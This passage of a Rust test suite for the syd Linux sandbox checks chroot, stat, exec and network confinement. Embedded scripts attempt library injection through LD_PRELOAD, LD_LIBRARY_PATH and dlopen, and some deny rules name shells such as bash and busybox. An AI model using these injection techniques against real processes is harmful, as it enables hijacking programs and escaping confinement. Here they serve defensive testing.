    let status = syd()
        .p("off")
        .m("sandbox/chroot:on")
        .m("allow/chroot+/***")
        .m("deny/chroot+/proc/self/fdinfo")
        .m("allow/chroot+/proc/self/fdinfo")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if chroot sandboxing works to allow.
fn test_syd_chroot_sandbox_allow_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chroot:on")
        .m("trace/allow_unsafe_chroot:1")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if chroot sandboxing works to deny.
fn test_syd_chroot_sandbox_deny() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chroot:on")
        .m("allow/chroot+/***")
        .m("deny/chroot+/proc/self/fdinfo")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check if chroot sandboxing works to hide.
fn test_syd_chroot_sandbox_hide() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chroot,stat:on")
        .m("allow/chroot,stat+/***")
        .m("deny/chroot,stat+/proc/self/fdinfo")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Check if pivot_root is denied with EPERM by default.
fn test_syd_pivot_root_default() -> TestResult {
    let status = syd()
        .p("off")
        .do_("pivot_root", ["/", "/"])
        .status()
        .expect("execute syd");
    assert_status_permission_denied!(status);

    Ok(())
}

// Check if pivot_root is no-op with trace/allow_unsafe_pivot_root:1.
fn test_syd_pivot_root_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_pivot_root:1")
        .do_("pivot_root", ["/", "/"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to allow.
fn test_syd_stat_sandbox_stat_allow() -> TestResult {
    skip_unless_available!("ls");

    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .m("allow/stat+/dev/null")
        .argv(["ls", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to hide.
fn test_syd_stat_sandbox_stat_hide() -> TestResult {
    skip_unless_available!("ls");

    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .argv(["ls", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for getdents works to allow.
fn test_syd_readdir_sandbox_getdents_allow() -> TestResult {
    skip_unless_available!("ls");

    let output = syd()
        .p("off")
        .m("sandbox/readdir:on")
        .m("allow/readdir+/***")
        .m("deny/readdir+/dev/zero")
        .m("allow/readdir+/dev/zero")
        .argv(["ls", "/dev"])
        .output()
        .expect("execute syd");
    assert!(
        output
            .stdout
            .windows(b"zero".len())
            .any(|window| window == b"zero"),
        "Stdout:\n{:?}",
        output.stdout
    );

    Ok(())
}

// Tests if stat sandboxing for getdents works to hide.
fn test_syd_readdir_sandbox_getdents_hide() -> TestResult {
    skip_unless_available!("ls");

    let output = syd()
        .p("off")
        .m("sandbox/readdir:on")
        .m("allow/readdir+/***")
        .m("deny/readdir+/dev/zero")
        .argv(["ls", "/dev"])
        .output()
        .expect("execute syd");
    assert!(
        output
            .stdout
            .windows(b"zero".len())
            .any(|window| window != b"zero"),
        "Stdout:{:?}",
        output.stdout
    );

    Ok(())
}

// Tests if stat sandboxing can be bypassed by read attempt
fn test_syd_stat_bypass_with_read() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("deny/read,stat+/etc/***")
        .m("allow/read,stat+/etc/ld*/***")
        .do_("stat_bypass_with_read", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if stat sandboxing can be bypassed by write attempt
fn test_syd_stat_bypass_with_write() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat,write,create:on")
        .m("allow/stat,write,create+/***")
        .m("deny/stat,write,create+/etc/***")
        .m("allow/stat+/etc/ld*/***")
        .do_("stat_bypass_with_write", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if stat sandboxing can be bypassed by exec attempt
fn test_syd_stat_bypass_with_exec() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec,stat:on")
        .m("allow/exec,stat+/***")
        .m("deny/exec,stat+/**/z?sh")
        .m("deny/exec,stat+/**/[bd]ash")
        .m("deny/exec,stat+/**/busybox")
        .do_("stat_bypass_with_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if write sandboxing for open works to allow.
fn test_syd_write_sandbox_open_allow() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/dev/***") // may need TTY!
        .m("deny/write+/dev/null")
        .m("allow/write+/dev/null")
        .argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if write sandboxing for open works to deny.
fn test_syd_write_sandbox_open_deny() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .m("deny/write+/dev/null")
        .argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if exec sandboxing works to allow.
fn test_syd_exec_sandbox_open_allow() -> TestResult {
    skip_unless_available!("true");

    let bin = which("true")?;
    let status = syd()
            .p("off")
            .m("sandbox/exec:on")
            .m("deny/exec+/***")
            .m("allow/exec+/**/*.so*")
            .m(format!("allow/exec+{bin}"))
            .arg("-atrue") // this may be busybox
        .argv([
            &bin.to_string(),
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if exec sandboxing works to deny.
fn test_syd_exec_sandbox_open_deny() -> TestResult {
    skip_unless_available!("true");

    let bin = which("true")?;
    let status = syd()
            .p("off")
            .m("sandbox/exec:on")
            .m("allow/exec+/***")
            .m(format!("deny/exec+{bin}"))
            .arg("-atrue") // this may be busybox
        .argv([
            &bin.to_string(),
        ])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Check if #! interpreter path of scripts are properly sandboxed.
fn test_syd_exec_sandbox_deny_binfmt_script() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    // Write script.
    let path = "./script.sh";
    let script = r#"#!/bin/sh -ex
exit 42
"#;
    let mut file = File::create(path)?;
    write!(file, "{script}")?;
    drop(file); // Close the file to avoid ETXTBUSY.

    syd::fs::chmod_x(path).expect("Failed to make file executable");

    // Step 1: Allow both the interpreter and the script.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Step 2: Allow the interpreter but disable the script.
    //      2.1: EACCES with stat sandboxing off.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);
    //      2.2: ENOENT with stat sandboxing on.
    let status = syd()
        .p("off")
        .m("sandbox/exec,stat:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);
    //      2.3: EACCES when file is not hidden.
    let status = syd()
        .p("off")
        .m("sandbox/exec,stat:on")
        .m("allow/exec,stat+/***")
        .m("deny/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    // Step 3: Allow the script but disable the interpreter.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("deny/exec+/***")
        .m("allow/exec+/**/*.so*")
        .m("allow/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

// Check if a script which has an interpreter that itself is a script is properly sandboxed.
fn test_syd_exec_sandbox_many_binfmt_script() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    // Write script1 whose interpreter points to script2.
    let path1 = "./script1.sh";
    let script1 = r#"#!./script2.sh
"#;
    let mut file1 = File::create(path1)?;
    write!(file1, "{script1}")?;

    // Write script2 whole interpreter points to /bin/sh.
    let path2 = "./script2.sh";
    let script2 = r#"#!/bin/sh -ex
exit 42
"#;
    let mut file2 = File::create(path2)?;
    write!(file2, "{script2}")?;

    // Close the files to avoid ETXTBUSY.
    drop(file1);
    drop(file2);

    // Set permissions to make the scripts executable.
    for path in [path1, path2] {
        syd::fs::chmod_x(path).expect("Failed to set file executable");
    }

    // Step 1: Allow both the interpreter and the script.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Step 2: Allow the scripts but disable the interpreter.
    // This will slip through the seccomp sandbox
    // but it's caught by the exec-TOCTOU mitigator.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("deny/exec+/***")
        .m("allow/exec+/**/*.so*")
        .m("allow/exec+/**/script[1-2].sh")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    // Step 3: Allow the interpreter but disable the script2.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script2.sh")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    fixup!(status.code().unwrap_or(127) == EACCES, "status:{status:?}");

    Ok(())
}

// Check mmap with MAP_PRIVATE|PROT_EXEC on denylisted file is enforced.
// Version 1: Without append-only paths.
fn test_syd_exec_sandbox_mmap_exec_private_1() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc");

    let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
int main(void) {
    int fdw = open("badfile.so", O_CREAT|O_TRUNC|O_WRONLY, 0700);
    if (fdw < 0) return errno;
    if (ftruncate(fdw, 4096) != 0) return errno;
    close(fdw);
    int fd = open("badfile.so", O_RDONLY);
    if (fd < 0) return errno;
    void *p = mmap(NULL, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, fd, 0);
    if (p == MAP_FAILED) return errno;
    ((volatile char*)p)[0];
    munmap(p, 4096);
    close(fd);
    return 0;
}
    "#;

    std::fs::write("map_exec.c", code).expect("write map_exec.c");
    let ok = Command::new("cc")
        .args(["-Wall", "-Wextra", "-O2", "-o", "map_exec", "map_exec.c"])
        .status()
        .expect("spawn cc")
        .success();
    if !ok {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/badfile.so")
        .argv(["./map_exec"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check mmap with MAP_PRIVATE|PROT_EXEC on denylisted file is enforced.
// Version 2: With append-only paths.
fn test_syd_exec_sandbox_mmap_exec_private_2() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc");

    let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
int main(void) {
    int fdw = open("badfile.so", O_CREAT|O_TRUNC|O_WRONLY, 0700);
    if (fdw < 0) return errno;
    if (ftruncate(fdw, 4096) != 0) return errno;
    close(fdw);
    int fd = open("badfile.so", O_RDONLY);
    if (fd < 0) return errno;
    void *p = mmap(NULL, 4096, PROT_READ|PROT_EXEC, MAP_PRIVATE, fd, 0);
    if (p == MAP_FAILED) return errno;
    ((volatile char*)p)[0];
    munmap(p, 4096);
    close(fd);
    return 0;
}
    "#;

    std::fs::write("map_exec.c", code).expect("write map_exec.c");
    let ok = Command::new("cc")
        .args(["-Wall", "-Wextra", "-O2", "-o", "map_exec", "map_exec.c"])
        .status()
        .expect("spawn cc")
        .success();
    if !ok {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("append+/dev/zero")
        .m("allow/exec+/***")
        .m("deny/exec+/**/badfile.so")
        .argv(["./map_exec"])
        .status()
        .expect("execute syd");
    assert_status_access_denied!(status);

    Ok(())
}

// Check mmap with MAP_SHARED|PROT_READ|PROT_WRITE on file is not blocked.
// Version 1: Without append-only paths.
fn test_syd_exec_sandbox_mmap_shared_nonexec_1() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc");

    let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(void) {
    int fd = open("shared.txt", O_CREAT|O_RDWR, 0600);
    if (fd < 0) return errno;
    if (ftruncate(fd, 4096) != 0) return errno;
    void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
    if (p == MAP_FAILED) return errno;
    strcpy((char*)p, "hello\n");
    msync(p, 4096, MS_SYNC);
    munmap(p, 4096);
    close(fd);
    return 0;
}
    "#;

    std::fs::write("map_shared.c", code).expect("write map_shared.c");
    let ok = Command::new("cc")
        .args([
            "-Wall",
            "-Wextra",
            "-O2",
            "-o",
            "map_shared",
            "map_shared.c",
        ])
        .status()
        .expect("spawn cc")
        .success();
    if !ok {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./map_shared"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check mmap with MAP_SHARED|PROT_READ|PROT_WRITE on file is not blocked.
// Version 2: With append-only paths.
fn test_syd_exec_sandbox_mmap_shared_nonexec_2() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc");

    let code = r#"
#include <sys/mman.h>
#include <sys/stat.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(void) {
    int fd = open("shared.txt", O_CREAT|O_RDWR, 0600);
    if (fd < 0) return errno;
    if (ftruncate(fd, 4096) != 0) return errno;
    void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
    if (p == MAP_FAILED) return errno;
    strcpy((char*)p, "hello\n");
    msync(p, 4096, MS_SYNC);
    munmap(p, 4096);
    close(fd);
    return 0;
}
    "#;

    std::fs::write("map_shared.c", code).expect("write map_shared.c");
    let ok = Command::new("cc")
        .args([
            "-Wall",
            "-Wextra",
            "-O2",
            "-o",
            "map_shared",
            "map_shared.c",
        ])
        .status()
        .expect("spawn cc")
        .success();
    if !ok {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("append+/dev/zero")
        .m("allow/exec+/***")
        .argv(["./map_shared"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_bare() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "python3");

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["python3", "-c"])
        .arg(
            r##"
import ctypes, os, shutil, subprocess, sys

if os.path.exists("test.c"):
    os.remove("test.c")
if os.path.exists("lib-bad"):
    shutil.rmtree("lib-bad")

CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
    with open("test.c", "w") as f:
        f.write(CODE)
    os.mkdir("lib-bad", 0o700)
    subprocess.run(COMP, check=True)
except Exception as e:
    sys.stderr.write("Exception during compile: %r\n" % e)
    sys.exit(128)

try:
    libtest = ctypes.CDLL('./lib-bad/libtest.so')
except OSError as e:
    # XXX: ctypes does not set errno!
    # e.errno and e.strerror are 0 and None respectively.
    # and the str(e) can be "permission denied" or
    # "failed to map" so it's not reliably either.
    sys.stderr.write("Exception during dlopen: %r\n" % e)
    sys.exit(13)
else:
    sys.exit(libtest.test())
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(
        code == EACCES || code == 128,
        "code:{code} status:{status:?}"
    );
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_unshare!("user", "mount", "pid");
    skip_unless_available!("cc", "python3");

    let status = syd()
        .p("off")
        .m("unshare/user,pid:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["python3", "-c"])
        .arg(
            r##"
import ctypes, os, shutil, subprocess, sys

if os.path.exists("test.c"):
    os.remove("test.c")
if os.path.exists("lib-bad"):
    shutil.rmtree("lib-bad")

CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
    with open("test.c", "w") as f:
        f.write(CODE)
    os.mkdir("lib-bad", 0o700)
    subprocess.run(COMP, check=True)
except Exception as e:
    sys.stderr.write("Exception during compile: %r\n" % e)
    sys.exit(128)

try:
    libtest = ctypes.CDLL('./lib-bad/libtest.so')
except OSError as e:
    # XXX: ctypes does not set errno!
    # e.errno and e.strerror are 0 and None respectively.
    # and the str(e) can be "permission denied" or
    # "failed to map" so it's not reliably either.
    sys.stderr.write("Exception during dlopen: %r\n" % e)
    sys.exit(13)
else:
    sys.exit(libtest.test())
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(
        code == EACCES || code == 128,
        "code:{code} status:{status:?}"
    );
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check if a denylisted library can be injected using LD_LIBRARY_PATH.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
// Note, AT_SECURE mitigation is another defense against this,
// that is why we disable it with trace/allow_unsafe_exec_:libc:1
// during this test.
fn test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH() -> TestResult {
    skip_if_strace!();
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
int func(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
int func(void) { return 42; }
EOF

cat > bin.c <<EOF
extern int func(void);
int main(void) { return func(); }
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -L./lib-good -lext -obin
r=0
env LD_LIBRARY_PATH="./lib-good:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_LIBRARY_PATH="./lib-bad:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -eq 42; then
    echo >&2 "Library injection succeeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if a denylisted library can be injected using LD_PRELOAD.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF

cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
    pid_t p_real = syscall(SYS_getpid);
    pid_t p_test = getpid();
    if (!p_test) {
        puts("Good library injected!");
        return 0;
    } else if (p_test == p_real) {
        puts("No library injected!");
        return 0;
    } else {
        puts("Bad library injected!");
        return p_test;
    }
}
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -obin
chmod +x bin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeeded!"
    false
else
    echo >&2 "Library injection failed!"
fi

r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi

r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if a denylisted library can be injected using LD_PRELOAD.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe() -> TestResult {
    skip_if_32bin_64host!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_exec_libc:1")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF

cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
    pid_t p_real = syscall(SYS_getpid);
    pid_t p_test = getpid();
    if (!p_test) {
        puts("Good library injected!");
        return 0;
    } else if (p_test == p_real) {
        puts("No library injected!");
        return 0;
    } else {
        puts("Bad library injected!");
        return p_test;
    }
}
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -obin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0

r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0

r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works with accept() & IPv4.
fn test_syd_network_sandbox_accept_ipv4() -> TestResult {
    // test -s is bash, not sh!
    skip_unless_available!("bash", "shuf", "socat");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/net/connect:on")
        .arg("bash")
        .arg("-cex")
        .arg(
            r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+127.0.0.1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP4-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=127.0.0.1,forever 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting 127.0.0.1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-127.0.0.1'
test -c '/dev/syd/warn/net/connect+127.0.0.1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP4:127.0.0.1:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works with accept() & IPv6.
fn test_syd_network_sandbox_accept_ipv6() -> TestResult {
    // test -s is bash, not sh!
    skip_unless_available!("bash", "shuf", "socat");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/net/connect:on")
        .arg("bash")
        .arg("-cex")
        .arg(
            r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+::1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP6-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=[::1],forever,ipv6only 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while ! grep -q listening log; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT OPEN:msg,wronly,creat,excl || true
test -s msg && exit 127
set +x
rm -f msg
echo >&2 "[*] Allowlisting ::1!1024-65535 for accept."
set -x
test -c '/dev/syd/block-::1'
test -c '/dev/syd/warn/net/connect+::1!1024-65535'
set +x
echo >&2 "[*] Connect attempt 2: expecting success..."
set -x
socat -u TCP6:[::1]:$SYD_TEST_ACCEPT_PORT,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv4_allow() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!4242")
        .m("allow/net/connect+127.0.0.1!4242")
        .do_("connect4", ["127.0.0.1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if network connect sandboxing works to deny.
fn test_syd_network_sandbox_connect_ipv4_deny() -> TestResult {
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+127.0.0.1!4242")
        .m("deny/net/connect+127.0.0.1!4242")
        .do_("connect4", ["127.0.0.1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_connection_refused!(status);
    Ok(())
}

// Tests if network connect sandboxing works to allow.
fn test_syd_network_sandbox_connect_ipv6_allow() -> TestResult {
    if !check_ipv6() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }
    let status = syd()
        .p("fs")
        .m("allow/exec,read,stat,walk+/***")
        .m("trace/allow_safe_bind:0")
        .m("allow/net/bind+::1!4242")
        .m("allow/net/connect+::1!4242")
        .do_("connect6", ["::1", "4242"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

